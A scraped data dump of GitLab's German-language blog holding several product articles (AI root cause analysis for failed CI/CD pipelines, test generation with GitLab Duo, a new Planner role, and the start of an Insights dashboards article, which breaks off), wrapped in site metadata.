Ai","de-de/blog/gitlab-duo-with-amazon-q-devsecops-meets-agentic-ai.yml","de-de/blog/gitlab-duo-with-amazon-q-devsecops-meets-agentic-ai",{"_path":2407,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2408,"content":2414,"config":2419,"_id":2421,"_type":16,"title":2422,"_source":17,"_file":2423,"_stem":2424,"_extension":20},"/de-de/blog/quickly-resolve-broken-ci-cd-pipelines-with-ai",{"title":2409,"description":2410,"ogTitle":2409,"ogDescription":2410,"noIndex":6,"ogImage":2411,"ogUrl":2412,"ogSiteName":1396,"ogType":1397,"canonicalUrls":2412,"schema":2413},"Beschädigte CI/CD-Pipelines schnell entfernen – mit KI","Wenn deine CI/CD-Pipeline fehlschlägt, führt dies zu Verzögerungen, verminderter Produktivität und Stress. Mit der KI-basierten Root Cause Analysis kannst du Probleme nun rascher und intelligenter lösen.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097355/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%2811%29_78Dav6FR9EGjhebHWuBVan_1750097355230.png","https://about.gitlab.com/blog/quickly-resolve-broken-ci-cd-pipelines-with-ai","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Beschädigte CI/CD-Pipelines schnell entfernen – mit KI\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Itzik Gan Baruch\"}],\n        \"datePublished\": \"2024-12-03\",\n      }",{"title":2409,"description":2410,"authors":2415,"heroImage":2411,"date":2397,"body":2416,"category":677,"tags":2417,"updatedDate":2418},[866],"CI/CD-Pipelines sorgen dafür, dass die Softwareentwicklung effizient abläuft. Sie helfen Teams, Code schnell zu testen, zu erstellen und bereitzustellen. Wenn diese Pipelines jedoch fehlschlagen, verlangsamt sich alles – Fristen werden verpasst und die Entwickler(innen) sind frustriert, da sie die Fehler beheben und dafür sorgen müssen, dass die Projekte trotzdem im Zeitrahmen bleiben.\n\n![CI/CD-Pipeline mit mehreren fehlgeschlagenen Jobs](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097362/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097362772.png)\n\n\u003Ccenter>\u003Ci>CI/CD-Pipeline mit mehreren fehlgeschlagenen Jobs\u003C/i>\u003C/center>\u003Cbr>\u003C/br>\n\n**Warum schlagen Pipelines fehl?** Sehen wir uns das genauer an.\n\n## Gründe für Pipeline-Fehler\n\nEin Pipeline-Fehler tritt auf, wenn der automatisierte Workflow in deiner [CI/CD-Pipeline](https://about.gitlab.com/de-de/topics/ci-cd/cicd-pipeline/) – also in einer Reihe von Schritten, wie Erstellen, Testen und Bereitstellen von Code – nicht wie erwartet ausgeführt wird und mit einer Fehlermeldung endet. Dieser Fehler kann verhindern, dass der Code ordnungsgemäß erstellt, getestet oder bereitgestellt wird, was zu Verzögerungen bei der Softwarebereitstellung führen kann. Zudem ist eine Fehlerbehebung nötig.\n\nPipeline-Fehler können aus einer Vielzahl von Gründen auftreten. Einige häufige Ursachen sind:\n- Syntax-Fehler: Ein kleiner Fehler im Code, wie ein fehlendes Semikolon oder ein falscher Variablenname, kann dazu führen, dass die Pipeline fehlschlägt.\n- Fehlgeschlagene Tests: Unit- oder Integrationstests können aufgrund von fehlerhaftem Code, falschen Konfigurationen oder nicht übereinstimmenden Abhängigkeiten fehlschlagen.\n- Fehlkonfigurationen: Falsche Pipeline-Einstellungen oder Umgebungskonfigurationen können zu fehlgeschlagenen Builds oder Bereitstellungen führen.\n\nEs gibt auch komplexere Probleme, die das Ganze etwas komplizierter machen:\n- Probleme mit Infrastructure-as-Code [IaC](https://about.gitlab.com/de-de/topics/gitops/infrastructure-as-code/): Probleme bei der Bereitstellung der Cloud-Infrastruktur, wie Fehler in Terraform-Skripten oder CloudFormation-Vorlagen, können eine erfolgreiche Bereitstellung verhindern.\n- Kubernetes- und GitOps-Herausforderungen: Fehlkonfigurationen in [Kubernetes-Clustern (nur in englischer Sprache verfügbar)](https://about.gitlab.com/blog/kubernetes-the-container-orchestration-solution/) oder Probleme mit [GitOps-Workflows](https://about.gitlab.com/de-de/topics/gitops/) (z. B. das Synchronisieren von Kubernetes-Status mit Git-Repositories) können zu Pipeline-Fehlern führen, die nur schwer zu diagnostizieren sind.\n- Lange, unübersichtliche Stack Traces: Wenn ein Fehler tief im System auftritt, können Stack Traces lang werden und somit schwer zu entziffern sein, insbesondere wenn sie mehrere Komponenten oder Dienste umfassen.\n\nDurch diese Herausforderungen wird die Fehlerbehebung schwieriger und zeitaufwändiger, da man sich oft durch komplexe Protokolle arbeiten, Konfigurationsdateien überprüfen und verschiedene Lösungen testen muss, um die Grundursache zu finden.\n\n## Die tatsächlichen Auswirkungen fehlgeschlagener Pipelines\n\nWenn eine Pipeline fehlschlägt, verzögert dies nicht nur die Bereitstellung, sondern sorgt auch für Stress und Frustration. Die Entwickler(innen) müssen ihre Arbeit unterbrechen und den Fehler beheben, was oft zu einer Kettenreaktion an Störungen führen kann. Dies macht es schwieriger, Fristen einzuhalten, und erhöht den Druck auf das gesamte Team. Aber warum ist die manuelle Fehlerbehebung so aufwendig?\n\n### Manuelle Fehlerbehebung \n\nDie Zeit, die benötigt wird, um eine defekte Pipeline zu beheben, variiert. Das hängt unter anderem von folgenden Faktoren ab:\n- Wie gut kennen die Entwickler(innen) das Projekt?\n- Wie erfahren sind sie mit ähnlichen Problemen?\n- Was sind ihre allgemeinen Problemlösungsfähigkeiten?\n\nDas manuelle Durchsuchen von Protokollen, um herauszufinden, was schief gelaufen ist, ist schwierig und mühsam. Protokolle können von überall herkommen, unter anderem von Anwendungsfehlern und Systemnachrichten, und sind oft unübersichtlich und schwierig zu interpretieren. Darüber hinaus müssen die Entwickler(innen) bei der Korrektur von Pipelines oft zwischen verschiedenen Aufgaben hin und her wechseln, wodurch der ganze Vorgang zeitaufwändiger wird.\n\nHier kommt [GitLab Duo](https://about.gitlab.com/de-de/gitlab-duo/) ins Spiel. GitLab Duo kann diesen unübersichtlichen Berg an Daten durchsuchen und Fehler viel schneller finden. So wird der Prozess vereinfacht, sodass du kein besonderen Kenntnisse brauchst, um herauszufinden, was falsch gelaufen ist. Mit KI kannst du deine Pipelines schneller, einfacher und mit weniger Stress reparieren.\n\n\u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176104/Blog/zxvvu7p9vc3qpmwl32ya.png\" alt=\"broken pipeline\">\n\n\u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176108/Blog/bpx6dqilfhltzboyp8k8.png\" alt=\"fix suggestions for broken pipelines\">\n\n## GitLab Duo Root Cause Analysis mit generativer KI\n\nWenn deine CI/CD-Pipeline fehlschlägt, musst du Fehler nicht mehr stundenlang manuell beheben. Dafür gibt es die [GitLab Duo Root Cause Analysis (RCA) (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/user/gitlab_duo/#root-cause-analysis). Dieses KI-gestützte Tool identifiziert schnell die genaue Ursache des Fehlers und schlägt Korrekturen vor – direkt in der DevSecOps-Plattform. Egal, wie lang oder kompliziert deine Stack Traces sind: Die RCA analysiert alle Daten, schlüsselt sie auf und gibt dir klare, umsetzbare Einblicke.\n\n**Sie sagt dir genau, was den Fehler verursacht hat, schlägt Schritte zur Behebung hervor und nennt dir sogar die Dateien und Codezeilen, die bearbeitet werden müssen.** Damit das Ganze noch einfacher wird, schlägt sie Code-Korrekturen vor, damit alles wieder einwandfrei läuft. Dadurch wird die Fehlerbehebung viel schneller und unkomplizierter.\n\n\u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176111/Blog/nmagby9hoksskogve53m.png\" alt=\"root cause of failure\">\n\n\u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176115/Blog/dndis1cedwbmbnj33q3v.png\" alt=\"example fix\">\n\n## Halte das Gespräch mit Folgefragen am Laufen\n\nMit GitLab Duo RCA erhältst du nicht nur Antworten, sondern kannst auch Folgefragen stellen, um tiefer in das Problem einzutauchen. Möchtest du alternative Lösungen erkunden? Kein Problem. Du kannst [mehr Kontext (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/user/gitlab_duo_chat/index.html#the-context-chat-is-aware-of) hinzufügen, indem du andere Dateien, Tickets oder Epics in deinem Repo verlinkst. Du könntest zum Beispiel deine Datei `.gitlab-ci.yml` in der IDE öffnen und den Chat fragen: „Based on this file, and the analyzed CI/CD pipeline, how would you propose to optimize the pipeline?“ \n\n## Datenschutz steht an erster Stelle – alles bleibt in GitLab\nEiner der wichtigsten Vorteile der GitLab Duo RCA ist, dass sie in GitLab sofort einsatzbereit ist. Du musst nicht das Tool wechseln oder nach externer Hilfe suchen. Außerdem bleiben deine [Protokolle und sensiblen Daten geschützt](https://about.gitlab.com/de-de/privacy/), denn du musst sie nicht an externe KI-Lösungen senden. RCA ist nahtlos in GitLab integriert und bietet wertvolle Einblicke, ohne gegen den Datenschutz zu verstoßen.\n\n![Beschädigte Pipeline – Bild 6](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097363/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097362773.png)\n\n## Starte noch heute\n\nMöchtest du sehen, wie KI deinen Entwicklungsprozess beschleunigen und ihn reibungsloser und schneller machen kann? Sieh dir unten unsere Produkt-Tour für GitLab Duo Enterprise an und entdecke, wie GitLab Duo mit seinen KI-basierten Informationen jede Phase deines Entwicklungsprozesses transformieren kann – von der Planung und der Programmierung bis hin zur Fehlerbehebung und Bereitstellung. Klicke auf das Bild unten, um die englischsprachige Tour zu starten!\n\n[![Tour durch GitLab Duo Enterprise](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097363/Blog/Content%20Images/Blog/Content%20Images/Screenshot_2024-12-02_at_12.41.10_PM_aHR0cHM6_1750097362774.png)](https://gitlab.navattic.com/duo-enterprise)\n\n> [Starte jetzt eine kostenlose Testversion von GitLab Duo!](https://about.gitlab.com/de-de/solutions/gitlab-duo-pro/sales/)",[679,746,767,745],"2025-02-18",{"slug":2420,"featured":6,"template":682},"quickly-resolve-broken-ci-cd-pipelines-with-ai","content:de-de:blog:quickly-resolve-broken-ci-cd-pipelines-with-ai.yml","Quickly Resolve Broken Ci Cd Pipelines With Ai","de-de/blog/quickly-resolve-broken-ci-cd-pipelines-with-ai.yml","de-de/blog/quickly-resolve-broken-ci-cd-pipelines-with-ai",{"_path":2426,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2427,"content":2433,"config":2438,"_id":2440,"_type":16,"title":2441,"_source":17,"_file":2442,"_stem":2443,"_extension":20},"/de-de/blog/automating-with-gitlab-duo-part-1-generating-tests",{"title":2428,"description":2429,"ogTitle":2428,"ogDescription":2429,"noIndex":6,"ogImage":2430,"ogUrl":2431,"ogSiteName":1396,"ogType":1397,"canonicalUrls":2431,"schema":2432},"Automatisierung mit GitLab Duo, Teil 1: Generierung von Tests","Hier erfährst du, wie wir die KI-gestützte DevSecOps-Plattform genutzt haben, um automatisierte Tests zu erstellen und unsere Entwicklungsgeschwindigkeit und -qualität zu verbessern.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097480/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%284%29_3LZkiDjHLjhqEkvOvBsVKp_1750097480784.png","https://about.gitlab.com/blog/automating-with-gitlab-duo-part-1-generating-tests","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Automatisierung mit GitLab Duo, Teil 1: Generierung von Tests\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Byron Boots\"}],\n        \"datePublished\": \"2024-12-02\",\n      }\n                  ",{"title":2428,"description":2429,"authors":2434,"heroImage":2430,"date":2435,"body":2436,"category":677,"tags":2437,"updatedDate":2276},[2338],"2024-12-02","Automatisierte Tests sind zeitaufwändig und können das Gefühl vermitteln, ein Projekt nicht voranzubringen. Doch wie viele Entwickler(innen) wahrscheinlich schon erlebt haben, machen sich automatisierte Tests insgesamt positiv bemerkbar. Für die Entwicklung eines benutzerdefinierten Moduls (in diesem Artikel nennen wir es gitlab-helper) traf dies besonders zu.\n\nZu Beginn der Entwicklung konzentrierten wir uns darauf, bewährte Funktionen aus bestehenden Skripts in ein neues Modul zu migrieren, dessen einziger Zweck es war, als Grundlage für zukünftige Funktionen zu dienen. Obwohl die bestehenden Skripts nicht automatisiert getestet wurden, war ihre konsequente Nutzung ein deutlicher Beweis dafür, dass die Funktionen wie erwartet funktionierten.\n\nUnser Ziel war es, eine ausgereiftere Lösung für dieses Problem zu entwickeln, sodass automatisierte Tests unumgänglich wurden. Das stellte uns vor die Herausforderung, die Entwicklung effizient zu gestalten und gleichzeitig die Zeit für das Testen und die Sicherstellung eines robusten Produkts unter einen Hut zu bringen; mit insgesamt nur drei Teammitgliedern war das gar nicht mal so einfach. Deshalb entschied sich das Team, für die Testerstellung die Vorteile unserer KI-Suite [GitLab Duo](https://about.gitlab.com/de-de/gitlab-duo/) zu nutzen und so die Entwicklungsgeschwindigkeit und Qualität des fertigen Produkts zu verbessern.\n\nIn dieser dreiteiligen Serie zur Automatisierung mit GitLab Duo behandeln wir die folgenden Punkte:\n\n1. Wie wir GitLab Duo verwendet haben, um Tests für unseren Code zu erstellen  \n2. Wie wir bei komplexeren Situationen interaktiv mit GitLab Duo gearbeitet haben  \n3. Die Ergebnisse, die wir erzielen konnten (Spoiler: 1 Person + GitLab Duo = 84 % Testabdeckung in 2 Tagen)\n\n## GitLab Duo zur Erstellung von Tests für Code verwenden\n\nDieser Artikel behandelt die Verwendung von GitLab Duo in VS Code mit der [GitLab Workflow Extension for VS Code](https://marketplace.visualstudio.com/items?itemName=GitLab.gitlab-workflow) (nur in englischer Sprache verfügbar), um Tests zu generieren. Diese Funktionalität ist in mehreren Tools verfügbar. Links zu anderen GitLab-Duo-Optionen findest du in den [Referenzen](#Referenzen) weiter unten.\n\n### GitLab Duo installieren und aktivieren\n\nUm GitLab Duo nutzen zu können, benötigen wir ein Konto, auf dem GitLab Duo aktiviert ist. Wenn du GitLab Duo noch nicht aktiviert hast, kannst du dich für eine [kostenlose Testversion anmelden](https://about.gitlab.com/de-de/solutions/gitlab-duo-pro/sales/?type=free-trial).Um GitLab Duo Chat in VS Code zu verwenden, folgten wir den [Anweisungen zur Installation](https://docs.gitlab.com/ee/user/gitlab_duo_chat/#use-gitlab-duo-chat-in-vs-code) (nur in englischer Sprache verfügbar). Dann war die GitLab-Duo-Chat-Erweiterung in der Seitenleiste verfügbar und wir konnten das Chat-Fenster öffnen.\n\n![Stelle-eine-Frage-Fenster](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097489/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097488918.png)\n\n### Tests mit Chat generieren\n\ngitlab-helper ist ein benutzerdefiniertes Modul, das für die Standardisierung der Interaktion mit der GitLab-API innerhalb des Teams entwickelt wurde und andere Bibliotheksfunktionen erweitert, um die Entwicklungs- und Skriptarbeit zu vereinfachen. Sobald eine Methode oder Funktion in gitlab-helper migriert wurde und angemessen implementiert zu sein schien, konnten ganz einfach Tests dafür erstellt werden:\n- Wir wählten die Methode, die Klasse oder die gesamte Datei in der IDE aus.\n- Wir öffneten das Menü für den ausgewählten Code mit der rechten Maustaste.\n- Unter **GitLab Duo Chat** wählten wir **Tests generieren** aus.\n\n![Reihenfolge für die Erstellung von Tests, einschließlich der Auswahl-Liste für die Erstellung von Tests](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097489/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097488919.png)\n\nInnerhalb weniger Sekunden waren die Tests erstellt und im GitLab-Duo-Chat-Fenster angezeigt. Diese Tests können überprüft und/oder durch Kopieren/Einfügen in bestehende oder neue Testdateien zur Codebase hinzugefügt werden. Wie bei den meisten Ergebnissen von linguistischer Datenverarbeitung, vor allem wenn es um den Kontext geht, schlugen einige der ersten von GitLab Duo erstellten Tests fehl, so dass eine Feinabstimmung erforderlich war (z. B. beim Umgang mit verschachtelten Abhängigkeiten).\n\n> **Profi-Tipp:** GitLab Duo erstellt nicht automatisch Dateien, in die generierte Tests eingefügt werden können. Wir haben festgestellt, dass es hilfreich ist, neue Testdateien zu erstellen und sie mit dem Kommentar `# Tests Generated by Duo` zu versehen und ihnen den Zusatz `_duo.py` hinzuzufügen, um anzugeben, woher die Tests stammen.\n\nGitLab Duo war ein großartiger Ausgangspunkt für die Entwicklung der automatisierten Tests von gitlab-helper und hat die Effizienz beim Schreiben von Tests und die Testabdeckung erheblich verbessert, was den Entwicklungsprozess erheblich beschleunigt hat. Neben GitLab Duo wurden zahlreiche sinnvolle Tests unter menschlicher Aufsicht in das gitlab-helper-Modul integriert.\n\nIm nächsten Teil dieser Serie erfährst du, [was wir bei der Verwendung von GitLab Duo für die Erstellung automatisierter Tests und die interaktive Arbeit mit KI für komplexere Situationen gelernt haben](https://about.gitlab.com/de-de/blog/automating-with-gitlab-duo-part-2-complex-testing/).\n\n## Referenzen\n\nEs gibt mehr als eine Möglichkeit, GitLab Duo zu verwenden, um Tests zu generieren. Sieh dir die anderen Optionen unten an:\n\n* Die GitLab-Benutzeroberfläche  \n* [Die GitLab-Web-IDE (VS Code in der Cloud)](https://docs.gitlab.com/ee/user/project/web_ide/index.html) (nur in englischer Sprache verfügbar) \n* VS Code, mit der [GitLab Workflow Extension for VS Code](https://marketplace.visualstudio.com/items?itemName=GitLab.gitlab-workflow) (nur in englischer Sprache verfügbar)\n* JetBrains IDEs, mit dem [GitLab-Duo-Plugin für JetBrains](https://plugins.jetbrains.com/plugin/22325-gitlab-duo)  (nur in englischer Sprache verfügbar) \n* Visual Studio für Windows mit der [GitLab-Erweiterung für Visual Studio](https://marketplace.visualstudio.com/items?itemName=GitLab.GitLabExtensionForVisualStudio) (nur in englischer Sprache verfügbar)\n",[679,767,768,746,745],{"slug":2439,"featured":6,"template":682},"automating-with-gitlab-duo-part-1-generating-tests","content:de-de:blog:automating-with-gitlab-duo-part-1-generating-tests.yml","Automating With Gitlab Duo Part 1 Generating Tests","de-de/blog/automating-with-gitlab-duo-part-1-generating-tests.yml","de-de/blog/automating-with-gitlab-duo-part-1-generating-tests",{"_path":2445,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2446,"content":2451,"config":2457,"_id":2459,"_type":16,"title":2460,"_source":17,"_file":2461,"_stem":2462,"_extension":20},"/de-de/blog/introducing-gitlabs-new-planner-role-for-agile-planning-teams",{"ogTitle":2447,"schema":2448,"ogImage":1905,"ogDescription":2449,"ogSiteName":1396,"noIndex":6,"ogType":1397,"ogUrl":2450,"title":2447,"canonicalUrls":2450,"description":2449},"Neue Rolle \"Planer(in)\" für GitLab Agile-Teams eingeführt","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Jetzt neu in GitLab: die neue Rolle „Planer(in)“ für Teams im Bereich der Agile-Planung\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Amanda Rueda\"}],\n        \"datePublished\": \"2024-11-25\",\n      }","Erfahre, wie die neue Rolle „Planer(in)“ in GitLab Agile-Teams dabei hilft, Workflows mit maßgeschneidertem Zugriff über SaaS-, Dedicated- und Self-Managed-Lösungen zu planen.","https://about.gitlab.com/blog/introducing-gitlabs-new-planner-role-for-agile-planning-teams",{"heroImage":1905,"body":2452,"authors":2453,"updatedDate":2397,"date":2454,"title":2455,"tags":2456,"description":2449,"category":976},"GitLab hat eine neue Rolle auf der DevSecOps-Plattform eingeführt – Planer(in). Die Rolle als Planer(in) wurde im Rahmen der Strategie von GitLab, eine flexible, rollenbasierte Zugriffskontrolle zu bieten, entwickelt, was sich auch in der Veröffentlichung [benutzerdefinierter Rollen](https://docs.gitlab.com/ee/user/custom_roles.html) zeigt. Als Planer(in) können Entwicklungsteams und für die Planung zuständige Benutzer(innen) Zugang zu den Tools erhalten, die sie brauchen, um Agile-Workflows zu verwalten, ohne dabei zu viele Berechtigungen zu bekommen, die ein unnötiges Risiko darstellen. Indem der Zugriff auf die spezifischen Bedürfnisse der Benutzer(innen) zugeschnitten wird, stellt die Rolle als Planer(in) sicher, dass Teams produktiv bleiben und gleichzeitig die Sicherheit und Compliance wahren – ganz im Sinne des [Prinzips der geringsten Privilegien](https://about.gitlab.com/blog/the-ultimate-guide-to-least-privilege-access-with-gitlab/).\n\n## Warum wir die Rolle „Planer(in)“ entwickelt haben\n\nUnser Weg zu dieser neuen Rolle begann mit dem Feedback unserer Kund(inn)en und internen Teams. Wir haben immer wieder gehört, dass GitLab zwar umfassende Tools für die Planung und die Verwaltung von agilen Entwicklungszyklen hat, aber es eine spezifischere, rollenbasierte Zugriffskontrolle bräuchte. Produktmanager(innen), Projektleitung und andere Planungsrollen brauchen oft Zugriff auf Planungsfunktionen, jedoch nicht die kompletten Entwicklungsberechtigungen. Im Gegenteil: Es ist nicht gewünscht, dass sie breiten Zugriff haben, da dies ein Sicherheitsrisiko darstellt und das Fehlerpotenzial vergrößert, indem beispielsweise unabsichtliche Änderungen am Code oder an sensiblen Konfigurationen vorgenommen werden. Diese Wünsche haben wir uns zu Herzen genommen.\n\nDurch Befragungen von Benutzer(inne)n, Wettbewerbsanalyse und umfassende Forschungen haben wir den Wunsch nach einer Rolle validiert, die vollständigen Zugriff auf Planungstools bietet, aber gleichzeitig die Sicherheit wahrt, indem kein Zugriff auf Funktionen für Entwickler(innen) möglich ist.\n\n## Was hat die Rolle „Planer(in)“ zu bieten?\n\nPlaner(in) ist eine Rolle, die sich zwischen den bestehenden Rollen [„Gast“ und „Reporter(in)“](https://docs.gitlab.com/ee/user/permissions.html#roles) einordnet, aber speziell für jene entwickelt wurde, die Zugriff auf Planungs-Workflows brauchen.\n\nDas erwartet dich:\n\n* Zugriff auf wichtige Planungstools wie Epics, Roadmaps, Issue-Übersichten und [OKRs](https://docs.gitlab.com/ee/user/okrs.html) (*Für einige Funktionen ist eine GitLab-Premium- oder -Ultimate-Lizenz erforderlich*)\n* Verbesserte Sicherheit, indem der unnötige Zugriff auf sensible Entwicklungsfunktionen eingeschränkt wird\n* Die Rolle als Planer(in) kann zusammen mit dem Add-on GitLab Enterprise Agile Planning verwendet werden, wodurch Teams maßgeschneiderten Zugriff auf Planungstools erhalten, während gleichzeitig Sicherheit und Kontrolle gewahrt werden. (*Die Rolle als Planer(in) ist aber in allen Lizenzstufen verfügbar*).\n\nDie Rolle „Planer(in)“ ist in allen GitLab-Lösungen verfügbar, darunter SaaS, GitLab Dedicated und GitLab Self-Managed. So können alle Kund(inn)en von diesem maßgeschneiderten Zugriff profitieren.\nMit dieser Rolle können Teams Berechtigungen flexibel an Jobfunktionen zuweisen, was ein ausgewogenes Maß an Barrierefreiheit und Sicherheit ermöglicht.\n\n## So unterstützt die Rolle als Planer(in) Agile-Praktiken\n\nIn der [Agile-Softwareentwicklung](https://about.gitlab.com/de-de/blog/categories/agile-planning/) ist es entscheidend für die Effizienz von Workflows, dass jedes Teammitglied die richtigen Tools und Berechtigungen für seine Rolle zur Verfügung hat. Die Rolle als Planer(in) unterstützt dies, indem sie es den Mitgliedern des Planungsteams ermöglicht, an allen Planungsphasen des Software-Entwicklungsprozesses mitzuwirken, ohne dass die Gefahr besteht, unabsichtlich in Bereiche wie Entwicklung oder Bereitstellung zu gelangen.\n\nVon der Erstellung und Verwaltung von Epics bis hin zum Festlegen von Roadmaps: Mit der Rolle als Planer(in) haben Agile-Teams nun die Tools zur Verfügung, die sie brauchen, um abgestimmt und produktiv zu bleiben.\n\n## Kundenorientiertes Design\n\nWir haben diese Rolle nicht isoliert entwickelt. Wir haben unsere Community bei jedem Schritt in den Prozess eingebunden. Durch Umfragen, Interviews und Tests haben wir die Berechtigungen äußerst fein abgestimmt und so sichergestellt, dass sie den praktischen Anforderungen von Produkt- und Projektmanager(inne)n entsprechen.\n\nDiese Rolle greift auch die langjährige Mission von GitLab auf, eine Plattform für Agile-Teams auf Unternehmensebene zu sein – sie bietet Unternehmen nämlich die Flexibilität und Kontrolle, um Agile-Methoden in großem Umfang umzusetzen.\n\n## Feedback und Engagement der Community\n\nWir freuen uns über deine Beiträge und bitten dich, deine Erfahrungen mit der neuen Rolle „Planer(in)“ zu teilen. Dein Feedback ist unerlässlich, um dein GitLab-Erlebnis weiter zu verfeinern und zu verbessern. In unserem [Feedback-Ticket](https://gitlab.com/gitlab-org/gitlab/-/issues/503817) kannst du uns deine Gedanken und Vorschläge mitteilen.\n\n## Beginne jetzt mit der Planung – mit GitLab!\n\nDie Rolle als Planer(in) ist nur eine von vielen Möglichkeiten, wie GitLab es Softwareentwicklungsteams ermöglicht, effizient zu planen, zusammenzuarbeiten und zu liefern. Egal, ob du deine Produktmanagement-Workflows optimieren, die Zusammenarbeit deines Teams verbessern oder deine Agile-Praktiken abstimmen möchtest – GitLab hat das passende Tool, das dir zum Erfolg verhilft.\n\n> Möchtest du das volle Potenzial von GitLab erleben? [Melde dich für eine kostenlose Testversion von GitLab Ultimate an](https://about.gitlab.com/de-de/free-trial/) und plane dein nächstes Projekt mit der Rolle „Planer(in)“, die auf die individuellen Bedürfnisse deines Teams zugeschnitten ist.\n\n## Weiterlesen\n- [Beyond Devs: GitLab Enterprise Agile Planning add-on for all roles (nur in englischer Sprache verfügbar)](https://about.gitlab.com/blog/gitlab-enterprise-agile-planning-add-on-for-all-roles/)\n- [How to use GitLab for Agile software development (nur in englischer Sprache verfügbar)](https://about.gitlab.com/blog/gitlab-for-agile-software-development/)\n- [First look: The new Agile planning experience in GitLab (nur in englischer Sprache verfügbar)](https://about.gitlab.com/blog/first-look-the-new-agile-planning-experience-in-gitlab/)",[1812],"2024-11-25","Jetzt neu in GitLab: die neue Rolle „Planer(in)“ für Teams im Bereich der Agile-Planung",[973,746,745,680],{"slug":2458,"featured":92,"template":682},"introducing-gitlabs-new-planner-role-for-agile-planning-teams","content:de-de:blog:introducing-gitlabs-new-planner-role-for-agile-planning-teams.yml","Introducing Gitlabs New Planner Role For Agile Planning Teams","de-de/blog/introducing-gitlabs-new-planner-role-for-agile-planning-teams.yml","de-de/blog/introducing-gitlabs-new-planner-role-for-agile-planning-teams",{"_path":2464,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2465,"content":2471,"config":2477,"_id":2479,"_type":16,"title":2480,"_source":17,"_file":2481,"_stem":2482,"_extension":20},"/de-de/blog/data-driven-devsecops-exploring-gitlab-insights-dashboards",{"title":2466,"description":2467,"ogTitle":2466,"ogDescription":2467,"noIndex":6,"ogImage":2468,"ogUrl":2469,"ogSiteName":1396,"ogType":1397,"canonicalUrls":2469,"schema":2470},"Datengesteuerte DevSecOps: Entdecke die Dashboards von GitLab Insights","Erfahre, wie du die Dashboards von GitLab Insights nutzen kannst, um wichtige Metriken zu visualisieren, Projekte nachzuverfolgen und die Produktivität deines Teams zu steigern.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097210/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%2811%29_78Dav6FR9EGjhebHWuBVan_1750097210214.png","https://about.gitlab.com/blog/data-driven-devsecops-exploring-gitlab-insights-dashboards","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Datengesteuerte DevSecOps: Entdecke die Dashboards von GitLab Insights\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ricardo Amarilla Villalba\"}],\n        \"datePublished\": \"2024-11-20\",\n      }\n                  ",{"title":2466,"description":2467,"authors":2472,"heroImage":2468,"date":2474,"body":2475,"category":680,"tags":2476,"updatedDate":1653},[2473],"Ricardo Amarilla Villalba","2024-11-20","Metriken und Analysen spielen eine entscheidende Rolle, wenn es darum geht, Produktivität, Qualität und Erfolg zu steigern. [GitLab](https://about.gitlab.com/de-de/platform/) ist eine umfassende DevSecOps-Plattform und bietet leistungsstarke Tools, um diese wichtigen Metriken über die Insights-Dashboards zu verfolgen und zu visualisieren. In diesem Artikel erfährst du, wie du die Insights-Dashboards in deiner Umgebung verwenden kannst.\n\n## Inhaltsverzeichnis\n\n- [Einführungen in GitLab-Metriken und Analysen](#einführungen-in-gitlab-metriken-und-analysen)\n- [Nutze Labels für bestimmte Metriken](#nutze-labels-für-bestimmte-metriken)\n- [So konfigurierst du GitLab Insights](#so-konfigurierst-du-gitlab-insights)\n- [Einblicke in Merge Requests anpassen](#einblicke-in-merge-requests-anpassen)\n- [Merge-Request-Einblicke für jede Squad und jeden Anforderungstyp](#merge-request-einblicke-für-jede-squad-und-jeden-anforderungstyp)\n  - [Richte Squad-basierte Metriken ein](#richte-squad-basierte-metriken-ein)\n- [Lege jetzt los](#lege-jetzt-los)\n- [Mehr erfahren](#mehr-erfahren)\n\n## Einführungen in GitLab-Metriken und Analysen\n\nGitLab stellt verschiedenste Metriken und Analysetools für unterschiedliche Aspekte des DevSecOps-Lebenszyklus bereit:\n\n1. [Produktivitätsanalyse (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/user/analytics/productivity_analytics.html): Damit kannst du die Geschwindigkeit deines Teams, Bearbeitungszeiten und Abarbeitungsdauer nachverfolgen.\n2. [Code-Review-Analysen (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/user/analytics/code_review_analytics.html): Damit kannst du die Codequalität, die Testabdeckung und die Effizienz der Überprüfung messen.\n3. [CI/CD-Analyse (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/user/analytics/ci_cd_analytics.html): Damit kannst du die Pipeline-Performance und die Bereitstellungshäufigkeit überwachen.\n4. [Wertstromanalyse (nur in englischer Sprache 